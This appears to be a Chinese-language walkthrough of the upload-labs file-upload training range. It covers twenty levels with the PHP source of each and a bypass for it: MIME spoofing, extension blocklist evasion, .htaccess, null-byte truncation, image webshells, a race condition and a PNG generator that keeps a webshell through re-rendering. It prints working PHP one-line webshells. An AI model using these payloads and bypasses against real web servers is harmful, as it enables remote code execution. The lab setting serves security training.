upload-labs 0.1 靶机详解

下载地址
https://github.com/c0ny1/upload-labs/releases

Pass-01



他让我们上传一张图片,我们先尝试上传一个php文件

发现他只允许上传图片格式的文件,我们来看看源码
我们可以看到它使用js来限制我们可以上传的内容
但是我们的浏览器是可以关闭js功能的,我们可以在浏览器的设置中关闭浏览器的js功能
重新加载之后我们进行上传

我们可以看到我们的上传成功了

我们复制图片的地址访问我们上传的php文件

成功访问并且执行了php代码
我们尝试构建一句话木马然后上传

<?php eval($_POST['1']); ?>

这是我们构建的最简单的一句话木马,注意这个一句话木马很容易被杀毒软件识别并将我们的php文件删除因为eval()被认为是一个危险函数
 

<?php $_GET[0]($_GET[1]); ?>

如果上述文件被识别的话我们可以这样写,我使用的是第一种
我们使用蚁剑进行测试

具体的连接测试请看这篇文章:
接下来我直接使用phpinfo()进行测试上传成功即可

Pass-02

我们继续上传我们的php文件

但是很明显不行

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        //这里呢它是在检测文件的类型
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            //它创建一个临时文件
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']   
            //将临时文件复制到正常的文件中         
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

我们经过分析源码呢知道了它在检测我们的文件类型
我们可以使用burpsuite进行抓包更改它的文件类型 

我们将这里的文件类型改为image/jpeg然后放包

成功上传

Pass-03


我们继续上传后发现它这次好像是将我们的可执行文件加入了黑名单

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

我们看到源码看起来好像没什么问题过滤了我们的可执行文件
但是呢我们的apache有一个特性在某些特定的版本中它会有这样一段代码

它的意思呢是告诉apache将哪写后缀作为php解析
所以我们可以将我们的后缀写为php1,php3,php4等然后就可以成功上传了

Pass-04

先上传看提示

貌似看不出来什么问题我们看源码
 

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

我们发现它将我们所有可能的后缀都加入了黑名单包括大小写,其实它将大小写加入黑名单多此一举因为它使用函数将我们的文件名转为了小写
那么现在怎么办呢?

.htaccess

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。Unix、Linux系统或者是任何版本的Apache Web服务器都是支持.htaccess的,但是有的主机服务商可能不允许你自定义自己的.htaccess文件。
.htaccess文件可以的事情,主要包括:文件夹密码保护、用户自定义重定向、自定义404页面、扩展名伪静态化、禁止特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,等等。
通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

它有很多参数这里我们需要用到
Sethandler application/x-httpd-php   将该目录及子目录的所有文件均映射为php文件类型。
我们就按照查询到的结果将我们的文件内容和名字进行更改

我们先进行上传上传成功后然后将我们的一句话木马的文件后缀改为它让通过的文件类型

访问上传的文件

可以执行php代码

Pass-05

很显然它一定会把我们的.hatccess过滤掉,所以我们直接看源码
 

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

如果仔细看过前几关的源码你会瞬间发现问题,他这关没有过滤我们的大写
所以我们直接将我们的后缀名改为大写即可

Pass-06

查看源码
 

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

对比上一关没有收尾去空
所以我们给我们的文件后缀名加上空格我们来试试
我们将空格加在后缀名的后边

上传失败,可能不是这么用的我们加在中间

上传成功了但是没有解析
这是因为windows的特性会将我们的后缀的空格去掉所以我们使用抓包

在我标记的地方添加空格即可上传成功

Pass-07

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

 查看源码与之前代码相比少了删除末尾的点
所以怎么做应该显而易见我们先试试

其实在我们更改文件后缀的时候我们就发现,改过之后文件末尾的点怎么好像是消失了
是不是和空格一样会被windows删掉,不知道百度一下果然如此,所以我们继续抓包

末尾加点之后成功上传

Pass-08

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空

查看源码发现没有过滤::$DATA
继续抓包修改文件名

上传成功

Pass-09

查看源码可以看到它将之前所有的注入点全部添加上了,但是仔细看过之后它好像没有循环验证,每个点只验证了一次,所以按照他的步骤他先删除了一个点然后转小写去除$DATA字符之后删除空格,反推一下我们可以写成php. .,他过滤完之后剩下的就是php.然后就正常上传windows的特性会帮我们删除最后一个点,所以文件后缀就剩下php
话不多说开始抓包

可以看到是成功上传的

上传的文件也和预期的一样

Pass-10

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    //它先看了一下是否存在文件路径
    if (file_exists(UPLOAD_PATH)) {
        //创建一个数组,其中包含不允许上传的文件扩展名列表
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
        //从上传的文件信息中获取文件名
        $file_name = trim($_FILES['upload_file']['name']);
        //将含有特殊文件名的文件名替换成空
        $file_name = str_ireplace($deny_ext,"", $file_name);
        //获取上传文件的临时文件名
        $temp_file = $_FILES['upload_file']['tmp_name'];
        //构建文件上传后的路径,将上传目录和文件名拼接在一起。
        $img_path = UPLOAD_PATH.'/'.$file_name;  
        //移动临时的文件到目标路径  php的上传特性   
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

分析源码后可以看到它将文件扩展名替换成了空,但是它允许我们上传。
是不是直接双写就可以绕过呢
试试呗 写成这样他从前往后看将php去掉

可以看到上传成功

Pass-11

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    //定义一个白名单
    $ext_arr = array('jpg','png','gif');
    //先获取文件名,然后截取后缀
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    //判断有没有在白明单中
    if(in_array($file_ext,$ext_arr)){
        //获取临时文件名
        $temp_file = $_FILES['upload_file']['tmp_name'];
        //定义一个get传参,将临时文件进行重命名,重命名以后将后缀拼上
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

分析代码看起来好像没什么问题他用的白名单很难绕过,这怎么办?
这里就要引入一个新的知识叫做 00截断
00截断就是用户在url输入中输入包含%00经过浏览器解码后会自动转码将后面的字符截断
比如url输入1.php%00.jpg经过url转码后会成为1.php\000.jpg
php解析时会将文件解析为1.php将后面的字符截断
为什么会出现这样的现象因为php的底层语言使用的是C语言而C语言中的结束符就是 \0
由于这个漏洞危害过高,所以只能在5.2版本中使用,之后的版本都已经修复
这里源码的这一段也很重要

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

先抓包看看

可以看到它通过get传参接收到../upload/这样的一个路径
可以这样写../upload/2.php它经过上边的代码之后
就会是upload/2.php/随机数时间.我们的文件后缀  这样的一个路径
我们在upload/2.php%00/随机数时间.我们的文件后缀
等于是上传后变成了upload/2.php

if(move_uploaded_file($temp_file,$img_path)){

然后看这段代码,它在干什么
它将我们临时文件中的内容,重新复制到了2.php中
还是一样试一试

上传成功

Pass-12

分析源码看到它将上一关的get传参变为了post传参
其实方法是一样的,唯一的区别就是post不会进行解码,所以我们要先对%00进行url编码
抓包

上传成功

Pass-13

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = ''; 

看看他写的这个函数,他读取了文件的前两个字节,用来判断上传的是什么格式的,因为不同图片格式的开头的前两个字节就代表了这个图片的格式,

在这里我们也可以看到他给了我们提示用图片马进行绕过,那你就用呗
先找一张jpg格式的图片,再准备一个写入了php代码的文件

使用windows的cmd直接将php文件中的二进制内容复制到图片中生成新的图片

可以看到已经写入图片文件中虽然图片显示的内容不是正常的但是依然可以打开

上传成功

这里还需要用到文件包含漏洞
这四个函数保护

include 包含   include_once包含一次

require 引入   require_once引入一次
他们有一个最终要的特性是,他包含的所有文件都会被当作php文件进行解析
这里呢源码中给我们准备了一个用于测试文件包含的php文件,一般情况下是没有人会这么写的
因为文件包含是不可能让用户控制的,这是非常危险的,但是既然他给了我们就用他给的测试一下

他的源码是这样的,使用get传参去接收我们的文件

可以看到它将上传的jpg格式的文件解析了

Pass-14

这关他使用getimagesize函数读取文件十六进制的前几个字符串,所以这关依然可以使用上一关的方法

Pass-15

分析源码看到他使用exif_imagetype函数判断一个图像的类型
这看起来没有什么意义,因为使用图片马上传的本身就是他规定格式内的文件
所以依然使用相同的 方法

Pass-16


这里他使用了imagecreatefromjpeg imagecreatefrompng imagecreatefromgif 这三个函数

意思就是改变了图片中关键地方的代码,将图片二次渲染如果使用前几关的方法我们的代码会被打乱或删除
怎么办呢?
这里先尝试gif因为png和jpg的格式比较复杂
先将一张gif图片上传,然后将上传后的图片下载下来
我使用的是010editor

使用010editor打开下载的图与原图进行比较看看哪些地方没有被改动

在这里去找点击Match去找,去蓝色区域表示是相同的,就代表这这里的区域在它二次渲染的时候没有被动过

可以仔细找找尽量在00区域去写,这样能尽可能避免的损坏图片,完成后保存上传
之后下载下来再看,看看php语句是否完整

很好一次成功

尽量多去尝试,因为有可能会失败,将我们的语句打乱。
他要求三种格式都实现大家可以自己去试试,反正我很少成功
这里有国外的大神写的代码可以直接拿来用
upload-labs之pass 16详细分析 - 先知社区 (aliyun.com)
 

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

将这串代码运行可以看到生成了一个png文件

上传后下载下来看看

可以看到里面确实有一句话木马我们测试一下
因为他写的是一句话木马所以我们需要进行get和post传参

很明显成功了 就演示这么多剩下的jpg可以看着自己去尝试

Pass-17

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    //上传文件
    $upload_file = UPLOAD_PATH . '/' . $file_name;
    //将临时文件移动到目标路径,如果移动成功,则继续执行后续代码。
    if(move_uploaded_file($temp_file, $upload_file)){
        // 检查上传文件的扩展名是否在允许的扩展名数组中。没有就删除
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

分析代码,可以看到你可以上传文件,但是他会直接将后缀不符合的文件进行删除
这怎么办?利用条件竞争
怎么做?  我们可以看到它先将文件上传之后再判断了文件后缀然后删除,众所周知代码是按顺序执行的,他既然上传了就会在服务器存在一段时间,所以可以在它删除之前访问上传的文件
这有什么用?  php可以创建文件并写入内容的,如果在上传的文件中写入创建一个文件并写入php代码,我们是不是就可以绕过它,它虽然将我们传入的文件删除了,但是我们在它删除之前已将新的php文件生成
开始尝试

写入生成文件的php代码并且生成在上一级
使用burpsuite抓包 把包放在爆破模块中



爆破的时候我们可以打开它的upload文件并疯狂刷新

可以看到文件确实上传了上去,一瞬间就会消失,我们就是要访问它
我们已经知道它具体在哪个文件下,并且也知道文件名开始爆破后只需要疯狂访问就行

出现报错的时候就证明访问到了,这里手速太快总是刷新过头,所以没截到图
如果发现没有上传成功有可能是没有执行权限



现在就尝试访问,看看php文件有没有执行

可以看到确实执行了

Pass-18

这关上传文件时文件不能被上传到upload中,所以打开本关的myupload.php文件
在这里改一下

之后保存重新进入一下18关即可

分析源码可以看到这关是验证了文件的后缀,可以使用和13关一样的方法即可绕过 

虽然可以绕过但是它考察的肯定不是这里可以在源码中看到它的白名单中有很多无关的后缀
这根本和上传图片好像没有什么关系

百度了一下发现这是个中间件解析漏洞。

apache未知后缀解析漏洞,有点像nginx解析漏洞

参考:文件上传upload-labs 第19关 Apache解析漏洞配合条件竞争_upload-labs第19关-CSDN博客

这是一个由于apache配置错误引发的漏洞
先抓包试一下

将后缀改为zip

在upload文件中看到文件有未改名和改名的文件可以尝试访问这个未重命名的文件

并没有解析文件而是下载文件
再来尝试改后缀它白名单中允许了很多后缀

上传成功并且也有未重命名文件

成功访问并解析

为什么会出现有没有被重命名的文件并且成功上传的文件只有几个?
代码使用time() 函数返回的时间戳作为重命名后的文件名,time() 函数返回的时间戳通常只精确到秒级别,如果用户在同一秒内点击上传按钮,它们生成的时间戳将是相同的,进行重命名时就会冲突失败。

快速点了三次(一秒内)发送就可能导致以下情况:

第一个请求成功上传和重命名了一个文件。
第二个请求上传了一个文件,但因为重命名冲突失败。
第三个请求可能遇到相同的问题,因此也无法重命名文件。
每个请求原文件名都是一样的,所以重命名失败后第三个覆盖第二个
最后保存的文件就只有两个,分别是第一个请求和最后一个请求

Pass-19


可以看到这关多了一个保存文件名称
查看源码看到它没有对上传的文件名做判断只对用户输入的文件名做了判断
move_uploaded_file()这样一个函数,它有一个特性,会忽略到文件末尾的/.
直接上传我们的php文件并抓包

修改提交的文件名后缀


上传成功并成功解析

Pass-20

分析源码

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";

empty函数:检查一下变量是否为空;返回值:如果变量是非零非空的值返回False,否则返回True;

三运运算符:(expr1) ? (expr2) : (expr3);  如果条件expr1 成立,执行expr2,否则执行expr3;

end函数:将内部指针指向数组最后一个元素并输出;

reset函数:将内部指针指向数组第一个元素并输出;

  if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

在这里它先判断这个文件名是不是一个数组如果不是就将文件名以点进行分割成为了[‘1’,'jpg']
然后使用end函数将最后的后缀拿出来比对黑名单
所以可以在上传的时候将文件名直接上传为数组['1.php','jpg']
它会认为这是一个数组[‘1.php',‘jpg’]
它将最后一个元素也就是jpg拿走比对白名单时就可以绕过

$file_name = reset($file) . '.' . $file[count($file) - 1];

在这里它使用resrt函数将数组中的第一个元素拿出来用点与数组中的最后一个元素拼接
就是说如果我们上传的时1.jpg那么我们的数组就时['1'[0],'jpg'[1]]
它拿出第一个元素也就时0号元素1然后获取数组长度为2,使用数组长度减一 2-1=1,将1号元素拿出来最后拼接成为1.jpg
怎么绕过?
上传的数组时需要上传为['1.php'[0],'jpg'[2]],这样它拿出的第一元素为1.php,第二元素使用数组长度减一2-1=1,但是我们的数组中没有1号元素,所以$file_name中就存储了1.php.,但是windows的特性会自动删除后边的点
开始上传

将save_name更改为数组形式,更改文件类型

可以看到成功上传

成功访问

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.kler.cn/a/273249.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【Spring MVC】Spring MVC拦截器(Interceptor)

目录 一、拦截器介绍 二、拦截器 Interceptor 定义 2.1 HandlerInterceptor接口 2.2 Spring MVC中提供的一些HandlerInterceptor接口实现类 1、AsyncHandlerInterceptor 2、WebRequestInterceptor 3、MappedInterceptor 4、ConversionServiceExposingInterceptor 三、拦…

《我的AUTOSAR之路》ECUM(二) 唤醒处理

ECUM唤醒 1 EcuM 唤醒源2 EcuM 唤醒源配置3 Can 通道唤醒源调用解析1 EcuM 唤醒源 AUTOSAR 唤醒过程包含的步骤 检查唤醒源和上报唤醒时间唤醒源保护唤醒过程是独立于 EcuM 休眠阶段的,但是唤醒时间可以用于休眠阶段 在整个 Ecu 所有阶段,唤醒事件都可以存在唤醒不单单指 Ecu …

【Java】高级篇1:异常处理

异常&#xff1a;程序在执行过程中出现的非正常情况&#xff0c;如果不处理最终会导致JVM的非正常停止。 Java的异常抛出机制 Java异常体系 1、Throwable 2、Error和Exception 异常处理方式 1、try-catch-finally&#xff08;捕获异常&#xff09; 基本结构&#xff1a; 使用…

小迪安全42WEB攻防-通用漏洞文件包含LFIRFI伪协议

#知识点: 1、解释什么是文件包含 2、分类-本地LFI&远程RFI 3、利用-配合上传&日志&会话 4、利用-伪协议&编码&算法等 #核心知识: 1、本地包含LFI&远程包含RF1-区别 一个只能包含本地&#xff0c;一个可以远程加载 具体形成原因由代码和环境配置文件决定…

机器学习----特征缩放

目录 一、什么是特征缩放&#xff1a; 二、为什么要进行特征缩放&#xff1f; 三、如何进行特征缩放&#xff1a; 1、归一化&#xff1a; 2、均值归一化&#xff1a; 3、标准化&#xff08;数据需要符合正态分布&#xff09;&#xff1a; 一、什么是特征缩放&#xff1a; 通…

Mysql增删改查(详解)

1.新增 insert into 表名 values 新增字段 。 如图&#xff1a; 这里我一共添加了三条数据。 2.查询 2.1 全列查询 select * from 表名 。 如图&#xff1a; 这里的全列查询可以展示一个表中的全部的数据。 2.2 指定查询 select 要查询的字段名 from 表名 。 比如…

摄影第一课

色彩 红色绿色黄色 红色蓝色洋红 蓝色绿色青色 冷暖色 摄影基础 选择合适的前景&#xff0c;增加照片层次感 测光拍摄&#xff0c;照片有亮和暗的地方&#xff0c;立体感更强 拍摄技巧 拍摄倒影 手机靠近水面&#xff0c;距离越近拍到的倒影越多适当降低曝光、获得更加准…

阳光保险MySQL数据库平稳迁移OceanBase,稳定运营超700天

作者简介&#xff1a; 车东兴&#xff1a;于阳光保险就职&#xff0c;深耕保险行业的 IT 领域长达12 年&#xff0c;对保险领域的基础架构实践有深刻的理解与掌握。熟悉多款数据库&#xff0c;具有丰富的数据库运维经验。 王华城&#xff1a;于阳光保险就职&#xff0c;10多年一…

XDAG节点版本更新(0.6.5升级到0.7.0)

1、拉取最新的xdagj源码 mkdir /root/xdagj-0.7.0 && cd /root/xdagj-0.7.0 git clone https://github.com/XDagger/xdagj.git cd xdagj mvn clean package -Dmaven.test.skiptrue2、创建新的数据目录并解压程序包 mkdir /data/docker-compose/xdagj-7.0/bin -p cd /…

SpringBoot异常:类文件具有错误的版本 61.0, 应为 52.0的解决办法

问题&#xff1a; java: 无法访问org.mybatis.spring.annotation.MapperScan 错误的类文件: /D:/Program Files/apache-maven-3.6.0/repository/org/mybatis/mybatis-spring/3.0.3/mybatis-spring-3.0.3.jar!/org/mybatis/spring/annotation/MapperScan.class 类文件具有错误的…

辐射全国、面向世界、聚焦未来——华为(深圳)全球具身智能产业创新中心正式成立

3月15日&#xff0c;深圳市前海深港现代服务业合作区管理局&#xff08;以下简称“前海管理局”&#xff09;、深圳市宝安区人民政府、华为技术有限公司&#xff08;以下简称“华为”&#xff09;共同签署合作协议&#xff0c;宣布共建华为&#xff08;深圳&#xff09;全球具身…

LeetCode刷题记录:(11)组合(初识回溯算法)

leetcode传送通道 暂时记录&#xff0c;这篇没啥营养&#xff0c;不用看了 class Solution {List<List<Integer>> result new ArrayList<>(); // 存所有组合List<Integer> path new LinkedList<>(); //存每一个组合public List<List<Int…

前端路由跳转bug

路由后面拼接了id的千万不能取相近的名字&#xff0c;浏览器分辩不出&#xff0c;只会匹配前面的路径 浏览器自动跳转到上面的路径页面&#xff0c;即使在菜单管理里面配置了正确的路由 跳转了无数次&#xff0c;页面始终不对&#xff0c;检查了路由配置&#xff0c;没有任何问…

【iOS】——Blocks

文章目录 前言一、Blocks概要1.什么是Blocks 二、Block模式1.block语法2.block类型变量3.截获自动变量值4._Block修饰符5.截获的自动变量 三、Blocks的实现1.Block的实质2.截获自动变量值3._Block说明符4.Block存储域 前言 一、Blocks概要 1.什么是Blocks Blocks是C语言的扩…

Redis 八种常用数据类型详解

夯实基础&#xff0c;这篇文章带着大家回顾一下 Redis 中的 8 种常用数据类型&#xff1a; 5 种基础数据类型&#xff1a;String&#xff08;字符串&#xff09;、List&#xff08;列表&#xff09;、Set&#xff08;集合&#xff09;、Hash&#xff08;散列&#xff09;、Zse…

IDEA直接打包Docker镜像

以下为使用IDEA打包Docker镜像并推送到远程仓库&#xff08;使用Windows打包Docker镜像并推送到远程仓库&#xff09;教程 1 安装Docker Desktop 下载地址&#xff1a;https://www.docker.com/products/docker-desktop/ 安装成功后&#xff0c;可在cmd查看版本号 2 启动Do…

基于Qt 和python 的自动升级功能

需求&#xff1a; 公司内部的一个客户端工具&#xff0c;想加上一个自动升级功能。 服务端&#xff1a; 1&#xff0c;服务端使用python3.7 &#xff0c;搭配 fastapi 和uvicorn 写一个简单的服务&#xff0c;开出一个get接口&#xff0c;用于客户端读取安装包的版本&#…

微服务:高并发带来的问题的容错方案

1.相关脚本&#xff08;陈天狼&#xff09; 启动nacos客户端&#xff1a; startup.cmd -m standalone 启动sentinel控制台&#xff1a; # 直接使⽤jar命令启动项⽬(控制台本身是⼀个SpringBoot项⽬) java -Dserver.port8080 -Dcsp.sentinel.dashboard.serverlocalhost:808…

通过点击按钮实现查看全屏和退出全屏的效果

动态效果如图&#xff1a; 可以通过点击按钮&#xff0c;或者esc键实现全屏和退出全屏的效果 实现代码&#xff1a; <template><div class"hello"><el-button click"fullScreen()" v-if"!isFullscreen">查看全屏</el-butt…

Obsidian使用200+插件与70+种主题分享

主题资源 下载方式一&#xff1a; 网盘下载 密码:a3eu 下载方式二&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1fOgP8lY29sYxkUAbTlQQCw 提取码&#xff1a;qhxa 下载解压打开红色框文件夹 上面的是插件&#xff0c;下面的是主题 以下介绍安装主题 打开Obsidi…
最新文章